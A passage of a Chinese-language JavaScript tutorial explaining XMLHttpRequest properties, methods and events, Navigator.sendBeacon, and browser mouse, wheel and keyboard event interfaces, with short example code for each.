`withCredentials`属性打开的话，跨域请求不仅会发送 Cookie，还会设置远程主机指定的 Cookie。反之也成立，如果`withCredentials`属性没有打开，那么跨域的 AJAX 请求即使明确要求浏览器设置 Cookie，浏览器也会忽略。

注意，脚本总是遵守同源政策，无法从`document.cookie`或者 HTTP 回应的头信息之中，读取跨域的 Cookie，`withCredentials`属性不影响这一点。

#### XMLHttpRequest.upload

XMLHttpRequest 不仅可以发送请求，还可以发送文件，这就是 AJAX 文件上传。发送文件以后，通过`XMLHttpRequest.upload`属性可以得到一个对象，通过观察这个对象，可以得知上传的进展。主要方法就是监听这个对象的各种事件：loadstart、loadend、load、abort、error、progress、timeout。

假定网页上有一个`<progress>`元素。

```http
<progress min="0" max="100" value="0">0% complete</progress>
```

文件上传时，对`upload`属性指定`progress`事件的监听函数，即可获得上传的进度。

```javascript
function upload(blobOrFile) {
  var xhr = new XMLHttpRequest();
  xhr.open('POST', '/server', true);
  xhr.onload = function (e) {};

  var progressBar = document.querySelector('progress');
  xhr.upload.onprogress = function (e) {
    if (e.lengthComputable) {
      progressBar.value = (e.loaded / e.total) * 100;
      // 兼容不支持 <progress> 元素的老式浏览器
      progressBar.textContent = progressBar.value;
    }
  };

  xhr.send(blobOrFile);
}

upload(new Blob(['hello world'], {type: 'text/plain'}));
```

### 实例方法

#### XMLHttpRequest.open()

`XMLHttpRequest.open()`方法用于指定 HTTP 请求的参数，或者说初始化 XMLHttpRequest 实例对象。它一共可以接受五个参数。

```javascript
void open(
   string method,
   string url,
   optional boolean async,
   optional string user,
   optional string password
);
```

* `method`：表示 HTTP 动词方法，比如`GET`、`POST`、`PUT`、`DELETE`、`HEAD`等。
* `url`: 表示请求发送目标 URL。
* `async`: 布尔值，表示请求是否为异步，默认为`true`。如果设为`false`，则`send()`方法只有等到收到服务器返回了结果，才会进行下一步操作。该参数可选。由于同步 AJAX 请求会造成浏览器失去响应，许多浏览器已经禁止在主线程使用，只允许 Worker 里面使用。所以，这个参数轻易不应该设为`false`。
* `user`：表示用于认证的用户名，默认为空字符串。该参数可选。
* `password`：表示用于认证的密码，默认为空字符串。该参数可选。

注意，如果对使用过`open()`方法的 AJAX 请求，再次使用这个方法，等同于调用`abort()`，即终止请求。

下面发送 POST 请求的例子。

```javascript
var xhr = new XMLHttpRequest();
xhr.open('POST', encodeURI('someURL'));
```

#### XMLHttpRequest.send()

`XMLHttpRequest.send()`方法用于实际发出 HTTP 请求。它的参数是可选的，如果不带参数，就表示 HTTP 请求只有一个 URL，没有数据体，典型例子就是 GET 请求；如果带有参数，就表示除了头信息，还带有包含具体数据的信息体，典型例子就是 POST 请求。

下面是 GET 请求的例子。

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET',
  'http://www.example.com/?id=' + encodeURIComponent(id),
  true
);
xhr.send(null);
```

上面代码中，`GET`请求的参数，作为查询字符串附加在 URL 后面。

下面是发送 POST 请求的例子。

```javascript
var xhr = new XMLHttpRequest();
var data = 'email='
  + encodeURIComponent(email)
  + '&password='
  + encodeURIComponent(password);

xhr.open('POST', 'http://www.example.com', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(data);
```

注意，所有 XMLHttpRequest 的监听事件，都必须在`send()`方法调用之前设定。

`send`方法的参数就是发送的数据。多种格式的数据，都可以作为它的参数。

```javascript
void send();
void send(ArrayBufferView data);
void send(Blob data);
void send(Document data);
void send(String data);
void send(FormData data);
```

如果`send()`发送 DOM 对象，在发送之前，数据会先被串行化。如果发送二进制数据，最好是发送`ArrayBufferView`或`Blob`对象，这使得通过 Ajax 上传文件成为可能。

下面是发送表单数据的例子。`FormData`对象可以用于构造表单数据。

```javascript
var formData = new FormData();

formData.append('username', '张三');
formData.append('email', 'zhangsan@example.com');
formData.append('birthDate', 1940);

var xhr = new XMLHttpRequest();
xhr.open('POST', '/register');
xhr.send(formData);
```

上面代码中，`FormData`对象构造了表单数据，然后使用`send()`方法发送。它的效果与发送下面的表单数据是一样的。

```html
<form id='registration' name='registration' action='/register'>
  <input type='text' name='username' value='张三'>
  <input type='email' name='email' value='zhangsan@example.com'>
  <input type='number' name='birthDate' value='1940'>
  <input type='submit' onclick='return sendForm(this.form);'>
</form>
```

下面的例子是使用`FormData`对象加工表单数据，然后再发送。

```javascript
function sendForm(form) {
  var formData = new FormData(form);
  formData.append('csrf', 'e69a18d7db1286040586e6da1950128c');

  var xhr = new XMLHttpRequest();
  xhr.open('POST', form.action, true);
  xhr.onload = function() {
    // ...
  };
  xhr.send(formData);

  return false;
}

var form = document.querySelector('#registration');
sendForm(form);
```

#### XMLHttpRequest.setRequestHeader()

`XMLHttpRequest.setRequestHeader()`方法用于设置浏览器发送的 HTTP 请求的头信息。该方法必须在`open()`之后、`send()`之前调用。如果该方法多次调用，设定同一个字段，则每一次调用的值会被合并成一个单一的值发送。

该方法接受两个参数。第一个参数是字符串，表示头信息的字段名，第二个参数是字段值。

```javascript
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Content-Length', JSON.stringify(data).length);
xhr.send(JSON.stringify(data));
```

上面代码首先设置头信息`Content-Type`，表示发送 JSON 格式的数据；然后设置`Content-Length`，表示数据长度；最后发送 JSON 数据。

#### XMLHttpRequest.overrideMimeType()

`XMLHttpRequest.overrideMimeType()`方法用来指定 MIME 类型，覆盖服务器返回的真正的 MIME 类型，从而让浏览器进行不一样的处理。举例来说，服务器返回的数据类型是`text/xml`，由于种种原因浏览器解析不成功报错，这时就拿不到数据了。为了拿到原始数据，我们可以把 MIME 类型改成`text/plain`，这样浏览器就不会去自动解析，从而我们就可以拿到原始文本了。

```javascript
xhr.overrideMimeType('text/plain')
```

注意，该方法必须在`send()`方法之前调用。

修改服务器返回的数据类型，不是正常情况下应该采取的方法。如果希望服务器返回指定的数据类型，可以用`responseType`属性告诉服务器，就像下面的例子。只有在服务器无法返回某种数据类型时，才使用`overrideMimeType()`方法。

```javascript
var xhr = new XMLHttpRequest();
xhr.onload = function(e) {
  var arraybuffer = xhr.response;
  // ...
}
xhr.open('GET', url);
xhr.responseType = 'arraybuffer';
xhr.send();
```

#### XMLHttpRequest.getResponseHeader()

`XMLHttpRequest.getResponseHeader()`方法返回 HTTP 头信息指定字段的值，如果还没有收到服务器回应或者指定字段不存在，返回`null`。该方法的参数不区分大小写。

```javascript
function getHeaderTime() {
  console.log(this.getResponseHeader("Last-Modified"));
}

var xhr = new XMLHttpRequest();
xhr.open('HEAD', 'yourpage.html');
xhr.onload = getHeaderTime;
xhr.send();
```

如果有多个字段同名，它们的值会被连接为一个字符串，每个字段之间使用“逗号+空格”分隔。

#### XMLHttpRequest.getAllResponseHeaders()

`XMLHttpRequest.getAllResponseHeaders()`方法返回一个字符串，表示服务器发来的所有 HTTP 头信息。格式为字符串，每个头信息之间使用`CRLF`分隔（回车+换行），如果没有收到服务器回应，该属性为`null`。如果发生网络错误，该属性为空字符串。

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', 'foo.txt', true);
xhr.send();

xhr.onreadystatechange = function () {
  if (this.readyState === 4) {
    var headers = xhr.getAllResponseHeaders();
  }
}
```

上面代码用于获取服务器返回的所有头信息。它可能是下面这样的字符串。

```http
date: Fri, 08 Dec 2017 21:04:30 GMT\r\n
content-encoding: gzip\r\n
x-content-type-options: nosniff\r\n
server: meinheld/0.6.1\r\n
x-frame-options: DENY\r\n
content-type: text/html; charset=utf-8\r\n
connection: keep-alive\r\n
strict-transport-security: max-age=63072000\r\n
vary: Cookie, Accept-Encoding\r\n
content-length: 6502\r\n
x-xss-protection: 1; mode=block\r\n
```

然后，对这个字符串进行处理。

```javascript
var arr = headers.trim().split(/[\r\n]+/);
var headerMap = {};

arr.forEach(function (line) {
  var parts = line.split(': ');
  var header = parts.shift();
  var value = parts.join(': ');
  headerMap[header] = value;
});

headerMap['content-length'] // "6502"
```

#### XMLHttpRequest.abort()

`XMLHttpRequest.abort()`方法用来终止已经发出的 HTTP 请求。调用这个方法以后，`readyState`属性变为`4`，`status`属性变为`0`。

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.example.com/page.php', true);
setTimeout(function () {
  if (xhr) {
    xhr.abort();
    xhr = null;
  }
}, 5000);
```

上面代码在发出5秒之后，终止一个 AJAX 请求。

### 实例事件

#### readyStateChange 事件

`readyState`属性的值发生改变，就会触发 readyStateChange 事件。

我们可以通过`onReadyStateChange`属性，指定这个事件的监听函数，对不同状态进行不同处理。尤其是当状态变为`4`的时候，表示通信成功，这时回调函数就可以处理服务器传送回来的数据。

#### progress 事件

上传文件时，XMLHttpRequest 实例对象本身和实例的`upload`属性，都有一个`progress`事件，会不断返回上传的进度。

```javascript
var xhr = new XMLHttpRequest();

function updateProgress (oEvent) {
  if (oEvent.lengthComputable) {
    var percentComplete = oEvent.loaded / oEvent.total;
  } else {
    console.log('无法计算进展');
  }
}

xhr.addEventListener('progress', updateProgress);

xhr.open();
```

#### load 事件

#### error 事件

#### abort 事件

load 事件表示服务器传来的数据接收完毕，error 事件表示请求出错，abort 事件表示请求被中断（比如用户取消请求）。

```javascript
var xhr = new XMLHttpRequest();

xhr.addEventListener('load', transferComplete);
xhr.addEventListener('error', transferFailed);
xhr.addEventListener('abort', transferCanceled);

xhr.open();

function transferComplete() {
  console.log('数据接收完毕');
}

function transferFailed() {
  console.log('数据接收出错');
}

function transferCanceled() {
  console.log('用户取消接收');
}
```

#### loadend 事件

`abort`、`load`和`error`这三个事件，会伴随一个`loadend`事件，表示请求结束，但不知道其是否成功。

```javascript
xhr.addEventListener('loadend', loadEnd);

function loadEnd(e) {
  console.log('请求结束，状态未知');
}
```

#### timeout 事件

服务器超过指定时间还没有返回结果，就会触发 timeout 事件，具体的例子参见`timeout`属性一节。

## Navigator.sendBeacon()

用户卸载网页的时候，有时需要向服务器发一些数据。很自然的做法是在`unload`事件或`beforeunload`事件的监听函数里面，使用`XMLHttpRequest`对象发送数据。但是，这样做不是很可靠，因为`XMLHttpRequest`对象是异步发送，很可能在它即将发送的时候，页面已经卸载了，从而导致发送取消或者发送失败。

解决方法就是`unload`事件里面，加一些很耗时的同步操作。这样就能留出足够的时间，保证异步 AJAX 能够发送成功。

```javascript
function log() {
  let xhr = new XMLHttpRequest();
  xhr.open('post', '/log', true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send('foo=bar');
}

window.addEventListener('unload', function(event) {
  log();

  // a time-consuming operation
  for (let i = 1; i < 10000; i++) {
    for (let m = 1; m < 10000; m++) { continue; }
  }
});
```

上面代码中，强制执行了一次双重循环，拖长了`unload`事件的执行时间，导致异步 AJAX 能够发送成功。

类似的还可以使用`setTimeout()`。下面是追踪用户点击的例子。

```javascript
// HTML 代码如下
// <a id="target" href="https://baidu.com">click</a>
const clickTime = 350;
const theLink = document.getElementById('target');

function log() {
  let xhr = new XMLHttpRequest();
  xhr.open('post', '/log', true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send('foo=bar');
}

theLink.addEventListener('click', function (event) {
  event.preventDefault();
  log();

  setTimeout(function () {
    window.location.href = theLink.getAttribute('href');
  }, clickTime);
});
```

上面代码使用`setTimeout()`，拖延了350毫秒，才让页面跳转，因此使得异步 AJAX 有时间发出。

这些做法的共同问题是，卸载的时间被硬生生拖长了，后面页面的加载被推迟了，用户体验不好。

为了解决这个问题，浏览器引入了`Navigator.sendBeacon()`方法。这个方法还是异步发出请求，但是请求与当前页面线程脱钩，作为浏览器进程的任务，因此可以保证会把数据发出去，不拖延卸载流程。

```javascript
window.addEventListener('unload', logData, false);

function logData() {
  navigator.sendBeacon('/log', JSON.stringify({
    some: "data"
  }));
}
```

`Navigator.sendBeacon()`方法接受两个参数，第一个参数是目标服务器的 URL，第二个参数是所要发送的数据（可选），可以是任意类型（字符串、表单对象、二进制对象等等）。

```javascript
navigator.sendBeacon(url, data)
```

这个方法的返回值是一个布尔值，成功发送数据为`true`，否则为`false`。

该方法发送数据的 HTTP 方法是 POST，可以跨域，类似于表单提交数据。它不能指定回调函数。

下面是一个例子。

```javascript
// HTML 代码如下
// <body onload="analytics('start')" onunload="analytics('end')">

function analytics(state) {
  if (!navigator.sendBeacon) return;

  var URL = 'http://example.com/analytics';
  var data = 'state=' + state + '&location=' + window.location;
  navigator.sendBeacon(URL, data);
}
```

该方法不允许自定义 HTTP 标头，为了以“application/json”的形式发送数据，可以使用 Blob 对象。

```javascript
const blob = new Blob(
  [ JSON.stringify({ some: "data" }) ],
  { type: 'application/json; charset=UTF-8' }
);
navigator.sendBeacon('/log', blob));
```

这个方法的优先级较低，不会占用页面资源。一般是在浏览器空闲的时候，才会发送。

---

---
url: /skill/shxts7q6/index.md
---
# JS 回顾 10
## 鼠标事件

### 鼠标事件的种类

鼠标事件主要有下面这些，所有事件都继承了`MouseEvent`接口（详见后文）。

#### 点击事件

鼠标点击相关的有四个事件。

* `click`：按下鼠标（通常是按下主按钮）时触发。
* `dblclick`：在同一个元素上双击鼠标时触发。
* `mousedown`：按下鼠标键时触发。
* `mouseup`：释放按下的鼠标键时触发。

`click`事件可以看成是两个事件组成的：用户在同一个位置先触发`mousedown`，再触发`mouseup`。因此，触发顺序是，`mousedown`首先触发，`mouseup`接着触发，`click`最后触发。

双击时，`dblclick`事件则会在`mousedown`、`mouseup`、`click`之后触发。

#### 移动事件

鼠标移动相关的有五个事件。

* `mousemove`：当鼠标在一个节点内部移动时触发。**当鼠标持续移动时，该事件会连续触发**。为了避免性能问题，建议对该事件的监听函数做一些限定，比如限定一段时间内只能运行一次。
* `mouseenter`：鼠标进入一个节点时触发，**进入子节点不会触发这个事件**。
* `mouseover`：鼠标进入一个节点时触发，**进入子节点会再一次触发这个事件**。
* `mouseout`：鼠标离开一个节点时触发，**离开父节点也会触发这个事件**。
* `mouseleave`：鼠标离开一个节点时触发，**离开父节点不会触发这个事件**。

`mouseover`事件和`mouseenter`事件，都是鼠标进入一个节点时触发。两者的区别是，`mouseenter`事件只触发一次，而只要鼠标在节点内部移动，`mouseover`事件会在子节点上触发多次。

```js
/* HTML 代码如下
 <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
 </ul>
*/

var ul = document.querySelector('ul');

// 进入 ul 节点以后，mouseenter 事件只会触发一次
// 以后只要鼠标在节点内移动，都不会再触发这个事件
// event.target 是 ul 节点
ul.addEventListener('mouseenter', function (event) {
  event.target.style.color = 'purple';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);

// 进入 ul 节点以后，只要在子节点上移动，mouseover 事件会触发多次
// event.target 是 li 节点
ul.addEventListener('mouseover', function (event) {
  event.target.style.color = 'orange';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);
```

上面代码中，在父节点内部进入子节点，不会触发`mouseenter`事件，但是会触发`mouseover`事件。

`mouseout`事件和`mouseleave`事件，都是鼠标离开一个节点时触发。两者的区别是，在父元素内部离开一个子元素时，`mouseleave`事件不会触发，而`mouseout`事件会触发。

```js
/* HTML 代码如下
 <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
 </ul>
*/

var ul = document.querySelector('ul');

// 先进入 ul 节点，然后在节点内部移动，不会触发 mouseleave 事件
// 只有离开 ul 节点时，触发一次 mouseleave
// event.target 是 ul 节点
ul.addEventListener('mouseleave', function (event) {
  event.target.style.color = 'purple';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);

// 先进入 ul 节点，然后在节点内部移动，mouseout 事件会触发多次
// event.target 是 li 节点
ul.addEventListener('mouseout', function (event) {
  event.target.style.color = 'orange';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);
```

上面代码中，在父节点内部离开子节点，不会触发`mouseleave`事件，但是会触发`mouseout`事件。

#### 其他事件

* `contextmenu`：按下鼠标右键时（上下文菜单出现前）触发，或者按下“上下文”菜单键时触发。
* `wheel`：滚动鼠标的滚轮时触发，该事件继承的是`WheelEvent`接口。

### MouseEvent 接口

`MouseEvent`接口代表了鼠标相关的事件，单击（click）、双击（dblclick）、松开鼠标键（mouseup）、按下鼠标键（mousedown）等动作，所产生的事件对象都是`MouseEvent`实例。此外，滚轮事件和拖拉事件也是`MouseEvent`实例。

`MouseEvent`接口继承了`Event`接口，所以拥有`Event`的所有属性和方法，并且还提供鼠标独有的属性和方法。

浏览器原生提供一个`MouseEvent()`构造函数，用于新建一个`MouseEvent`实例。

```js
var event = new MouseEvent(type, options);
```

`MouseEvent()`构造函数接受两个参数。第一个参数是字符串，表示事件名称；第二个参数是一个事件配置对象，该参数可选。除了`Event`接口的实例配置属性，该对象可以配置以下属性，所有属性都是可选的。

* `screenX`：数值，鼠标相对于屏幕的水平位置（单位像素），默认值为0，设置该属性不会移动鼠标。
* `screenY`：数值，鼠标相对于屏幕的垂直位置（单位像素），其他与`screenX`相同。
* `clientX`：数值，鼠标相对于程序窗口的水平位置（单位像素），默认值为0，设置该属性不会移动鼠标。
* `clientY`：数值，鼠标相对于程序窗口的垂直位置（单位像素），其他与`clientX`相同。
* `ctrlKey`：布尔值，是否同时按下了 Ctrl 键，默认值为`false`。
* `shiftKey`：布尔值，是否同时按下了 Shift 键，默认值为`false`。
* `altKey`：布尔值，是否同时按下 Alt 键，默认值为`false`。
* `metaKey`：布尔值，是否同时按下 Meta 键，默认值为`false`。
* `button`：数值，表示按下了哪一个鼠标按键，默认值为`0`，表示按下主键（通常是鼠标的左键）或者当前事件没有定义这个属性；`1`表示按下辅助键（通常是鼠标的中间键），`2`表示按下次要键（通常是鼠标的右键）。
* `buttons`：数值，表示按下了鼠标的哪些键，是一个三个比特位的二进制值，默认为`0`（没有按下任何键）。`1`（二进制`001`）表示按下主键（通常是左键），`2`（二进制`010`）表示按下次要键（通常是右键），`4`（二进制`100`）表示按下辅助键（通常是中间键）。因此，如果返回`3`（二进制`011`）就表示同时按下了左键和右键。
* `relatedTarget`：节点对象，表示事件的相关节点，默认为`null`。`mouseenter`和`mouseover`事件时，表示鼠标刚刚离开的那个元素节点；`mouseout`和`mouseleave`事件时，表示鼠标正在进入的那个元素节点。

下面是一个例子。

```js
function simulateClick() {
  var event = new MouseEvent('click', {
    'bubbles': true,
    'cancelable': true
  });
  var cb = document.getElementById('checkbox');
  cb.dispatchEvent(event);
}
```

上面代码生成一个鼠标点击事件，并触发该事件。

#### 实例属性

##### MouseEvent.altKey

##### MouseEvent.ctrlKey

##### MouseEvent.metaKey

##### MouseEvent.shiftKey

`MouseEvent.altKey`、`MouseEvent.ctrlKey`、`MouseEvent.metaKey`、`MouseEvent.shiftKey`这四个属性都返回一个布尔值，表示事件发生时，是否按下对应的键。它们都是只读属性。

* `altKey`属性：Alt 键
* `ctrlKey`属性：Ctrl 键
* `metaKey`属性：Meta 键（Mac 键盘是一个四瓣的小花，Windows 键盘是 Windows 键）
* `shiftKey`属性：Shift 键

```js
// HTML 代码如下
// <body onclick="showKey(event)">
function showKey(e) {
  console.log('ALT key pressed: ' + e.altKey);
  console.log('CTRL key pressed: ' + e.ctrlKey);
  console.log('META key pressed: ' + e.metaKey);
  console.log('SHIFT key pressed: ' + e.shiftKey);
}
```

上面代码中，点击网页会输出是否同时按下对应的键。

##### MouseEvent.button

##### MouseEvent.buttons

`MouseEvent.button`属性返回一个数值，表示事件发生时按下了鼠标的哪个键。该属性只读。

* 0：按下主键（通常是左键），或者该事件没有初始化这个属性（比如`mousemove`事件）。
* 1：按下辅助键（通常是中键或者滚轮键）。
* 2：按下次键（通常是右键）。

```js
// HTML 代码为
// <button onmouseup="whichButton(event)">点击</button>
var whichButton = function (e) {
  switch (e.button) {
    case 0:
      console.log('Left button clicked.');
      break;
    case 1:
      console.log('Middle button clicked.');
      break;
    case 2:
      console.log('Right button clicked.');
      break;
    default:
      console.log('Unexpected code: ' + e.button);
  }
}
```

`MouseEvent.buttons`属性返回一个三个比特位的值，表示同时按下了哪些键。**它用来处理同时按下多个鼠标键的情况**。该属性只读。

* 1：二进制为`001`（十进制的1），表示按下左键。
* 2：二进制为`010`（十进制的2），表示按下右键。
* 4：二进制为`100`（十进制的4），表示按下中键或滚轮键。

同时按下多个键的时候，每个按下的键对应的比特位都会有值。比如，同时按下左键和右键，会返回3（二进制为011）。

##### MouseEvent.clientX

##### MouseEvent.clientY

`MouseEvent.clientX`属性返回鼠标位置相对于**浏览器窗口左上角**的水平坐标（单位像素），`MouseEvent.clientY`属性返回垂直坐标。这两个属性都是只读属性。

```js
// HTML 代码为
// <body onmousedown="showCoords(event)">
function showCoords(evt){
  console.log(
    'clientX value: ' + evt.clientX + '\n' +
    'clientY value: ' + evt.clientY + '\n'
  );
}
```

这两个属性还分别有一个别名`MouseEvent.x`和`MouseEvent.y`。

##### MouseEvent.movementX

##### MouseEvent.movementY

`MouseEvent.movementX`属性返回当前位置与上一个`mousemove`事件之间的水平距离（单位像素）。数值上，它等于下面的计算公式。

```js
currentEvent.movementX = currentEvent.screenX - previousEvent.screenX
```

`MouseEvent.movementY`属性返回当前位置与上一个`mousemove`事件之间的垂直距离（单位像素）。数值上，它等于下面的计算公式。

```js
currentEvent.movementY = currentEvent.screenY - previousEvent.screenY。
```

这两个属性都是只读属性。

##### MouseEvent.screenX

##### MouseEvent.screenY

`MouseEvent.screenX`属性返回鼠标位置**相对于屏幕左上角**的水平坐标（单位像素），`MouseEvent.screenY`属性返回垂直坐标。这两个属性都是只读属性。

```js
// HTML 代码如下
// <body onmousedown="showCoords(event)">
function showCoords(evt) {
  console.log(
    'screenX value: ' + evt.screenX + '\n',
    'screenY value: ' + evt.screenY + '\n'
  );
}
```

##### MouseEvent.offsetX

##### MouseEvent.offsetY

`MouseEvent.offsetX`属性返回**鼠标位置与目标节点左侧的`padding`边缘的水平距离**（单位像素），`MouseEvent.offsetY`属性返回与目标节点上方的`padding`边缘的垂直距离。这两个属性都是只读属性。

```js
/* HTML 代码如下
  <style>
    p {
      width: 100px;
      height: 100px;
      padding: 100px;
    }
  </style>
  <p>Hello</p>
*/
var p = document.querySelector('p');
p.addEventListener(
  'click',
  function (e) {
    console.log(e.offsetX);
    console.log(e.offsetY);
  },
  false
);
```

上面代码中，鼠标如果在`p`元素的中心位置点击，会返回`150 150`。因此中心位置距离左侧和上方的`padding`边缘，等于`padding`的宽度（100像素）加上元素内容区域一半的宽度（50像素）。

##### MouseEvent.pageX

##### MouseEvent.pageY

`MouseEvent.pageX`属性返回鼠标位置与文档左侧边缘的距离（单位像素），`MouseEvent.pageY`属性返回与文档上侧边缘的距离（单位像素）。**它们的返回值都包括文档不可见的部分**。这两个属性都是只读。

```js
/* HTML 代码如下
  <style>
    body {
      height: 2000px;
    }
  </style>
*/
document.body.addEventListener(
  'click',
  function (e) {
    console.log(e.pageX);
    console.log(e.pageY);
  },
  false
);
```

上面代码中，页面高度为2000像素，会产生垂直滚动条。滚动到页面底部，点击鼠标输出的`pageY`值会接近2000。

##### MouseEvent.relatedTarget

`MouseEvent.relatedTarget`属性返回事件的相关节点。对于那些没有相关节点的事件，该属性返回`null`。该属性只读。

下表列出不同事件的`target`属性值和`relatedTarget`属性值义。

| 事件名称   | target 属性    | relatedTarget 属性 |
| ---------- | -------------- | ------------------ |
| focusin    | 接受焦点的节点 | 丧失焦点的节点     |
| focusout   | 丧失焦点的节点 | 接受焦点的节点     |
| mouseenter | 将要进入的节点 | 将要离开的节点     |
| mouseleave | 将要离开的节点 | 将要进入的节点     |
| mouseout   | 将要离开的节点 | 将要进入的节点     |
| mouseover  | 将要进入的节点 | 将要离开的节点     |
| dragenter  | 将要进入的节点 | 将要离开的节点     |
| dragexit   | 将要离开的节点 | 将要进入的节点     |

下面是一个例子。

```js
/*
  HTML 代码如下
  <div id="outer" style="height:50px;width:50px;border:1px solid black;">
    <div id="inner" style="height:25px;width:25px;border:1px solid black;"></div>
  </div>
*/

var inner = document.getElementById('inner');
inner.addEventListener('mouseover', function (event) {
  console.log('进入' + event.target.id + ' 离开' + event.relatedTarget.id);
}, false);
inner.addEventListener('mouseenter', function (event) {
  console.log('进入' + event.target.id + ' 离开' + event.relatedTarget.id);
});
inner.addEventListener('mouseout', function (event) {
  console.log('离开' + event.target.id + ' 进入' + event.relatedTarget.id);
});
inner.addEventListener("mouseleave", function (event){
  console.log('离开' + event.target.id + ' 进入' + event.relatedTarget.id);
});

// 鼠标从 outer 进入inner，输出
// 进入inner 离开outer
// 进入inner 离开outer

// 鼠标从 inner进入 outer，输出
// 离开inner 进入outer
// 离开inner 进入outer
```

#### 实例方法

##### MouseEvent.getModifierState()

`MouseEvent.getModifierState`方法返回一个布尔值，表示有没有按下特定的功能键。它的参数是一个表示[功能键](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/getModifierState#Modifier_keys_on_Gecko)的字符串。

```js
document.addEventListener('click', function (e) {
  console.log(e.getModifierState('CapsLock'));
}, false);
```

上面的代码可以了解用户是否按下了大写键。

### WheelEvent 接口

WheelEvent 接口继承了 MouseEvent 实例，代表鼠标滚轮事件的实例对象。目前，鼠标滚轮相关的事件只有一个`wheel`事件，用户滚动鼠标的滚轮，就生成这个事件的实例。

浏览器原生提供`WheelEvent()`构造函数，用来生成`WheelEvent`实例。

```js
var wheelEvent = new WheelEvent(type, options);
```

`WheelEvent()`构造函数可以接受两个参数，第一个是字符串，表示事件类型，对于滚轮事件来说，这个值目前只能是`wheel`。第二个参数是事件的配置对象。该对象的属性除了`Event`、`UIEvent`的配置属性以外，还可以接受以下几个属性，所有属性都是可选的。

* `deltaX`：数值，表示滚轮的水平滚动量，默认值是 0.0。
* `deltaY`：数值，表示滚轮的垂直滚动量，默认值是 0.0。
* `deltaZ`：数值，表示滚轮的 Z 轴滚动量，默认值是 0.0。
* `deltaMode`：数值，表示相关的滚动事件的单位，适用于上面三个属性。`0`表示滚动单位为像素，`1`表示单位为行，`2`表示单位为页，默认为`0`。

#### 实例属性

`WheelEvent`事件实例除了具有`Event`和`MouseEvent`的实例属性和实例方法，还有一些自己的实例属性，但是没有自己的实例方法。

下面的属性都是只读属性。

* `WheelEvent.deltaX`：数值，表示滚轮的水平滚动量。
* `WheelEvent.deltaY`：数值，表示滚轮的垂直滚动量。
* `WheelEvent.deltaZ`：数值，表示滚轮的 Z 轴滚动量。
* `WheelEvent.deltaMode`：数值，表示上面三个属性的单位，`0`是像素，`1`是行，`2`是页。

## 键盘事件

### 事件种类

键盘事件由用户击打键盘触发，主要有`keydown`、`keypress`、`keyup`三个事件，它们都继承了`KeyboardEvent`接口。

* `keydown`：按下键盘时触发。
* `keypress`：按下有值的键时触发，即按下 Ctrl、Alt、Shift、Meta 这样无值的键，这个事件不会触发。对于有值的键，按下时先触发`keydown`事件，再触发这个事件。
* `keyup`：松开键盘时触发该事件。

如果用户一直按键不松开，就会连续触发键盘事件，触发的顺序如下。

1. keydown
2. keypress
3. keydown
4. keypress
5. ...（重复以上过程）
6. keyup

### KeyboardEvent 接口

#### 接口概述

`KeyboardEvent`接口用来描述用户与键盘的互动。这个接口继承了`Event`接口，并且定义了自己的实例属性和实例方法。

浏览器原生提供`KeyboardEvent`构造函数，用来新建键盘事件的实例。

```js
new KeyboardEvent(type, options)
```

`KeyboardEvent`构造函数接受两个参数。第一个参数是字符串，表示事件类型；第二个参数是一个事件配置对象，该参数可选。除了`Event`接口提供的属性，还可以配置以下字段，它们都是可选。

* `key`：字符串，当前按下的键，默认为空字符串。
* `code`：字符串，表示当前按下的键的字符串形式，默认为空字符串。
* `location`：整数，当前按下的键的位置，默认为`0`。
* `ctrlKey`：布尔值，是否按下 Ctrl 键，默认为`false`。
* `shiftKey`：布尔值，是否按下 Shift 键，默认为`false`。
* `altKey`：布尔值，是否按下 Alt 键，默认为`false`。
* `metaKey`：布尔值，是否按下 Meta 键，默认为`false`。
* `repeat`：布尔值，是否重复按键，默认为`false`。

#### 实例属性

##### KeyboardEvent.altKey

##### KeyboardEvent.ctrlKey

##### KeyboardEvent.metaKey

##### KeyboardEvent.shiftKey

以下属性都是只读属性，返回一个布尔值，表示是否按下对应的键。

* `KeyboardEvent.altKey`：是否按下 Alt 键
* `KeyboardEvent.ctrlKey`：是否按下 Ctrl 键
* `KeyboardEvent.metaKey`：是否按下 meta 键（Mac 系统是一个四瓣的小花，Windows 系统是 windows 键）
* `KeyboardEvent.shiftKey`：是否按下 Shift 键

下面是一个示例。

```js
function showChar(e) {
  console.log('ALT: ' + e.altKey);
  console.log('CTRL: ' + e.ctrlKey);
  console.log('Meta: ' + e.metaKey);
  console.log('Shift: ' + e.shiftKey);
}

document.body.addEventListener('keydown', showChar, false);
```

##### KeyboardEvent.code

`KeyboardEvent.code`属性返回一个字符串，表示当前按下的键的字符串形式。该属性只读。

下面是一些常用键的字符串形式，其他键请查[文档](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/code/code_values)。

* 数字键0 - 9：返回`digit0` - `digit9`
* 字母键A - z：返回`KeyA` - `KeyZ`
* 功能键F1 - F12：返回 `F1` - `F12`
* 方向键：返回`ArrowDown`、`ArrowUp`、`ArrowLeft`、`ArrowRight`
* Alt 键：返回`AltLeft`或`AltRight`
* Shift 键：返回`ShiftLeft`或`ShiftRight`
* Ctrl 键：返回`ControlLeft`或`ControlRight`

##### KeyboardEvent.key

`KeyboardEvent.key`属性返回一个字符串，表示按下的键名。该属性只读。

如果按下的键代表可打印字符，则返回这个字符，比如数字、字母。

如果按下的键代表不可打印的特殊字符，则返回预定义的键值，比如 Backspace，Tab，Enter，Shift，Control，Alt，CapsLock，Esc，Spacebar，PageUp，PageDown，End，Home，Left，Right，Up，Down，PrintScreen，Insert，Del，Win，F1～F12，NumLock，Scroll 等。

